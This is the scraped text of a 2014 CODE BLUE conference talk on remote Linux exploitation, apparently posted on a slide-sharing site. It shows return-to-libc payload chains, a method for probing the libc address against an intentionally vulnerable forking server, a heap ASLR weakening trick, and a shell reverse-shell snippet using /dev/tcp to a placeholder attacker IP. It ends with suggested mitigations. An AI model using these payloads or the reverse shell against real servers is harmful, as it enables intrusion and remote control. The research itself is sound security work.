various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)

100 %
0 %
Information about various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
Technology

Published on March 12, 2014

Author: codeblue_jp

Source: slideshare.net

Description

Modern operating systems include hardened security mechanisms to block exploit attempts. ASLR and NX (DEP) are two examples of the mechanisms that are widely implemented for the sake of security. However, there exists ways to bypass such protections by leveraging advanced exploitation techniques. It becomes harder to achieve code execution when the exploitation originates from a remote location, such as when the attack originates from a client, targeting server daemons. In such cases it is harder to find out the context information of target systems and, therefore, harder to achieve code execution. Knowledge on the memory layout of the targeted process is a crucial piece of the puzzle in developing an exploit, but it is harder to figure out when the exploit attempt is performed remotely. Recently, there have been techniques to leverage information disclosure (memory leak) vulnerabilities to figure out where specific library modules are loaded in the memory layout space, and such classes of vulnerabilities have been proven to be useful to bypass ASLR. However, there is also a different way of figuring out the memory layout of a process running in a remote environment. This method involves probing for valid addresses in target remote process. In a Linux environment, forked child processes will inherit already randomized memory layout from the parent process. Thus every client connection made to server daemons will share the same memory layout. The memory layout randomization is only done during the startup of the parent service process, and not randomized again when it is forking a child process to handle client connections. Due to the inheritance of child processes, it is possible to figure out a small piece of different information from every connection, and these pieces can be assembled later to get the idea of a big picture of the target process's remote memory layout. Probing to see if a given address is a valid memory address in context of the target remote process and assembling such information together, an attacker can figure out where the libc library is loaded on the memory, thus allowing exploits to succeed further in code execution. One might call it brute force, but with a smart brute forcing strategy, the number of minimal required attempts are significantly reduced to less than 10 in usual cases. In this talk, we will be talking about how it is possible to probe for memory layout space utilizing a piece of code to put the target in a blocked state, and to achieve stable code execution in remote exploit attempt scenarios using such information, as well as other tricks that are often used in remote exploit development in the Linux environment.

http://codeblue.jp/en-speaker.html#SeokHaLee

Various tricks for remote linux exploits wh1ant (Author A.K.A) SeokHa Lee (Author name) wh1ant.sh@gmail.com http://wh1ant.kr CODE BLUE 2014

Acknowledgements The author would like to thank to A.K.A trigger for reviewing this article :)

About me Name: SeokHa Lee A.K.A: wh1ant (white ant or ant) wh1ant on facebook I’m A member of ‘WISEGUYS' team, which is a hacking crew in South Korea. I have found multiple vulnerabilities. talked about security-related topics in Korean conferences. various CTF competitions in Korea as challenge- maker with exploitation challenges. http://wh1ant.kr http://hackerschool.org

About this talk Remote buffer overflow on linux • Create file in the server • NULL byte bypass • Neutralize some of heap ASLR • Fast searching libc location

Exploit techniques •  Code injection - Must be NX disable •  RTL (Return-To-Libc) - Must be ASLR disable •  ROP (Return Oriented Programming) - There must be gadgets available. - Too long payload

How to find address? •  Brute force •  Memory disclosure •  use send(), write() functions [&send()] [&exit()] [0x00000004] [&GOT] [0x00000004] [0x00000000]

Code and environment int get_result(const int sock, char odd_or_even) { char small_buf[25]; char big_buf[128]; … write(sock, "pick a number 1 or 2: ", 22); length = read(sock, big_buf, sizeof(big_buf)-1); … strcpy(small_buf, big_buf); // vulnerable code if((small_buf[0]-0x31)==odd_or_even) return 1; else return 0; } Fedora 18 fork-based server $ gcc server.c –o server -fno-stack-protector

Attack scenario Victim Hacker Find libc address. Create exploitation file. Run.

Creating file with permission 1 - /tmp directory - we can use “/tmp” string in the libc library. 2 – log files which - we can use “log/log_%Y%m%d.log” string. 3 – daemon PID file which - file to check the process.

What kind of functions do we use? open(), write() O_WRONLY == 0x1 O_CREAT == 0x40

Payload [&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff] Payload to create server side exploit.

Interesting kernel code struct file *do_filp_open(int dfd, const char *pathname, int open_flag, int mode, int acc_mode) ... if (!(open_flag & O_CREAT)) mode = 0; /* Must never be set by userspace */ open_flag &= ~FMODE_NONOTIFY; /* * O_SYNC is implemented as __O_SYNC|O_DSYNC. As many places only * check for O_DSYNC if the need any syncing at all we enforce it's * always set instead of having to deal with possibly weird behaviour * for malicious applications setting only __O_SYNC. */ if (open_flag & __O_SYNC) open_flag |= O_DSYNC; if (!acc_mode) acc_mode = MAY_OPEN | ACC_MODE(open_flag); /* O_TRUNC implies we need access checks for write permissions */ if (open_flag & O_TRUNC) acc_mode |= MAY_WRITE; Check only 0x40 (O_CREAT)

Bitwise AND operation 00000000 00000000 00000000 00000000 00000000 00000000 00000000 01000000 -----------------------------------------------------------0 0000000 00000000 00000000 00000000 00000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 ----------------------------------------------------------- 00000000 00000000 00000000 01000000 0x40 (O_CREAT) 00000000 00000000 00000000 01000000 0x40 (O_CREAT) 0x40 (O_CREAT)

Create file #include <stdio.h> #include <fcntl.h> int main(void) { close(open("test", 0x11111040, 0xfffff9ff)); return 0; } Hex number 0x11111040 means the O_CREAT also 0xfffff9ff means octal 4777 permission. Run a program, you can see create "test" name file.

Failed static inline struct file * fcheck_files(struct files_struct *files, unsigned int fd) { struct file * file = NULL; struct fdtable *fdt = files_fdtable(files); if (fd < fdt->max_fds) file = rcu_dereference_check_fdtable(files, fdt->fd[fd]); return file; } #include <unistd.h> ssize_t write(int fd, const void *buf, size_t count); File descriptor maximum number over is NULL return.

New test #include <stdio.h> int main(void) { FILE* fp=fopen("test_file", "w"); if(fp==NULL) { printf("fopen() errorn"); return -1; } fputc(‘A’, fp); fclose(fp); return 0; } #include <stdio.h> FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream);

#include <stdio.h> int main(void) { FILE* fp=fopen("test_file", "wHello_world"); if(fp==NULL) { printf("fopen() errorn"); return -1; } fputc(0xffffff41, fp); fclose(fp); return 0; } Fake code #include <stdio.h> FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream); “answer” == append mode “wer” == write mode “answer”

fopen() function code switch (*mode) { case 'r': omode = O_RDONLY; read_write = _IO_NO_WRITES; break; case 'w': omode = O_WRONLY; oflags = O_CREAT|O_TRUNC; read_write = _IO_NO_READS; break; case 'a': omode = O_WRONLY; oflags = O_CREAT|O_APPEND; read_write = _IO_NO_READS|_IO_IS_APPENDING; break; default: __set_errno (EINVAL); return NULL; } ; ex movzx eax,BYTE PTR [eax] movsx eax,al cmp eax,0x72 ; ‘r’ check je 0x804843c

Payload [&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff] [&fopen()] [pop*2] [&“filename”] [&“w”] [&fputc()] [dummy] [0xffffff41] [<file pointer>] But, how to know file pointer address?

Random file pointer #include <stdio.h> int main(void) { FILE* fp; fp=fopen("test_file", "wt"); printf("fopen(): %pn", fp); if(fp) fclose(fp); return 0; }

#include <stdio.h> #include <stdlib.h> int main(void) { char* p; FILE* fp; p=(char*)malloc(0xffffffff); fp=fopen("test_data", "w"); printf("malloc(): %pn", p); printf("fopen(): %pn", fp); if(p) free(p); if(fp) fclose(fp); return 0; } Neutralize some of heap ASLR 0xb7400468 or 0xb7500468

Heap structure 1/5 malloc() brk() mmap() allocation larger than 128 kb __libc_malloc() -> arena_get2() -> _int_new_arena() -> new_heap() -> mmap() __libc_malloc() -> _int_malloc() -> sysmalloc() -> mmap()

Heap structure 2/5 2842 void* 2843 __libc_malloc(size_t bytes) 2844 { /* _int_malloc() tries to call mmap() with 0xffffffff as argument */ 2858 victim = _int_malloc(ar_ptr, bytes); 2859 if(!victim) { // checks allocation, and it fails because we cannot allocate memory with the size of 0xffffffff 2860 /* Maybe the failure is due to running out of mmapped areas. */ 2861 if(ar_ptr != &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868  /* ... or sbrk() has failed and there is still a chance to mmap() */ /* arena_get2() also calls mmap() internally */ 2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);

Heap structure 3/5 521 new_heap(size_t size, size_t top_pad) ... 552 /* allocates memory with size 0x200000 */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1 != MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // line 555 ~ 557 is an offset from randomized address to 0xb73fffff 558 if (ul) 559 __munmap(p1, ul); // frees some memory allocations 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); … /* enables read,write for size up to 0x21000 */ 575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) { 576 __munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size;

Heap structure 4/5 2842 void* 2843 __libc_malloc(size_t bytes) 2844 { 2858 victim = _int_malloc(ar_ptr, bytes); // when fopen() call 2859 if(!victim) { 2860 /* Maybe the failure is due to running out of mmapped areas. */ 2861 if(ar_ptr != &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868  /* ... or sbrk() has failed and there is still a chance to mmap() */ /* arena_get2() also calls mmap() internally */ 2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);

Heap structure 5/5 2246 static void* sysmalloc(INTERNAL_SIZE_T nb, mstate av) ... 2681 p = av->top; // pre-allocated memory address from mmap (0xb7400000) 2682  size = chunksize(p); // gets the size of the previous allocation // (returns approximately 0x21000) 2683 2684  /* check that one of the above allocation paths succeeded */ /* checks if previously saved size is greater than requested memory size */ 2685 if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 2686 remainder_size = size - nb; 2687 remainder = chunk_at_offset(p, nb); 2688 av->top = remainder; 2689 set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); 2690 set_head(remainder, remainder_size | PREV_INUSE); 2691 check_malloced_chunk(av, p, nb); 2692 return chunk2mem(p); // returns memory address for an allocation from mmap 2693 } 2694 2695 /* catch all failure paths */ 2696 __set_errno (ENOMEM); 2697 return 0; 2698 }

Maps information We can use this memory!

What is ‘repeat code’? ; repeat code 1 10101010: mov eax, ebx 10101012: jmp short 10101012 10101014: mov eax, ebx ; repeat code 2 10101010: mov eax, ebx 10101012: jmp short 10101010 10101014: mov eax, ebx

Find ‘repeat code’ [&puts()] [0x080486ac ~ 0x08049578] [0x08048001] start address of execution code: 0x080486ac end address of execution code : 0x08049578

Find ‘repeat code’ via python

File pointer check payload [&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer] /proc/net/tcp (ESTABLISHED state check)

File write payload [&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&“a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer] #!/bin/sh exec 5<>/dev/tcp/<hacker IP address>/1337 cat<&5|while read line;do $line 2>&5>&5;done Server side exploit code

Fast searching libc location 1/5 $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]

$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack] Fast searching libc location 2/5 0xb7801000 – 0xb7622000 = 0x1df000 (offset)

... int* p=0x0; int temp=*p; // If invalid memory address, Segmentation fault occurs .... ... int* p=0x08048000; int temp=*p; /* If this memory address exists, Segmentation fault will not occur */ .... Fast searching libc location 3/5

b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so … [&puts()] [&repeat code] [&exist address] Exist address findding Fast searching libc location 4/5

[&puts()] [&repeat code] [0xb7 5~8 00101] <= Find the 6 position. [&puts()] [&repeat code] [0xb76 0~f 0101] <= Find the 5 position. [&puts()] [&repeat code] [0xb761 0~f 101] <= Find the 4 position. 6 position is 0xb7700101 address exist memory. 5 position is 0xb7630101 address exist memory. 4 position is 0xb7622101 address exist memory. b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so … Find address by one digit Fast searching libc location 5/5 0xb7622101 – 0x101 = 0xb7622000

Memory access functions int puts(const char *s); size_t strlen(const char *s); int atoi(const char *nptr); int strcmp(const char *s1, const char *s2); int printf(const char *format, ...); int sprintf(char *str, const char *format, ...);

Payload review 1/2 [&puts()] [&repeat code] [&exist libc] 1. Find libc address [&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer] 2. Find file pointer address [&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&“a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer] 3. File write

Payload review 2/2 [&chmod()] [pop*2] [&"log/log_%Y%m%d.log"] [0xfffff1ff] [&execl()] [&exit()] [&"log/log_%Y%m%d.log"] [&"log/log_%Y%m%d.log“] 4. File permission switch and run

DEMO (http://youtu.be/LsgI-SALQJY)

DEMO2 Payload division big_buf[128] user_email[50 ] user_name[50 ] payload1 payload2 payload3 add esp 0x118 add esp 0x48 [&puts()] [&repeat code] [0x00049cf0] 0x00049cf0 => xf0x9cx04x00 ASCII-Armor enabled system High address

NULL byte bypass payload [&fprintf()] [dummy] [file pointer] [&“%c”] [0x00] How to create binary file to NULL byte bypass? 0xffffff00 => x00xffxffxff

Warning $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack] mm_struct -> vm_area_struct -> mm_base You can see the 0xb7801000 address

521 new_heap(size_t size, size_t top_pad) ... 552 /* allocates memory with size 0x200000 */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1 != MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // line 555 ~ 557 is an offset from randomized address to 0xb73fffff 558 if (ul) 559 __munmap(p1, ul); // frees some memory allocations 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); … /* enables read,write for size up to 0x21000 */ 575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) { 576 __munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size; How to protect? 1/4 Removing heap ASLR disable code!

How to protect? 2/4 NULL parameter check #include <stdio.h> #include <fcntl.h> void open_test(int flags) { if(0xffff0000&flags) { printf("open_test() errorn"); return; } printf("open_test() calln"); } int main(void) { open_test(O_WRONLY|O_CREAT); // open open_test(0xffffff41); // open failed open_test(0x00ffff41); // open failed return 0; } open(), mmap(), mprotect(), fputc(), etc…

How to protect? 3/4 if(strlen(mode)>3) // string length check { printf(“fopen() errorn”); // string length over return NULL; } switch (*mode) { case 'r': … break; case 'w': … break; case 'a': … break; … }

How to protect? 4/4 Placed in a random offset to each address. $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7723000-b78d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b78d3000-b78d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b78d5000-b78d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b78f6000-b78f9000 rw-p 00000000 00:00 0 b78fd000-b78ff000 rw-p 00000000 00:00 0 b78ff000-b7900000 r-xp 00000000 00:00 0 [vdso] b7903000-b8822000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b7922000-b7923000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7923000-b7924000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]

Any Question?

Thanks for listening!

Add a comment

Related presentations

Related pages

InfoSec Conference in Tokyo : CODE BLUE

... will come together for this unique international conference in Tokyo October 28th ... SEOK-HA LEE (wh1ant) ... various tricks for remote linux exploits.
Read more

Exploits | LinkedIn

Office Manager at Exploits Welding & Machine Shop Ltd See less. View More View Less. View Profile. Exploits Communication Entreprise de Communication.
Read more

Various Prolog tricks - Documents - docslide.us

Various Prolog tricks. • There are as many different logic programming techniques. languages, and applications as there are academics wearing socks with ...
Read more

Tips for disabling remote assistance on various versions ...

Tips for disabling remote assistance on various versions of windows os; Tips for disabling remote assistance on various versions of windows os May 08, 2015
Read more

Linux Tricks - Documents

Linux Tricks. Docslide.us. Upload Login / Signup. Leadership; Technology; Education; Marketing; Design; More Topics. Search; Home; Documents; Linux Tricks ...
Read more

CODE BLUE - HubSlide

HubSlide is the easiest way to upload & share PowerPoint & PDF presentations online; embed in Blogs, Slideshows, Transcript & more
Read more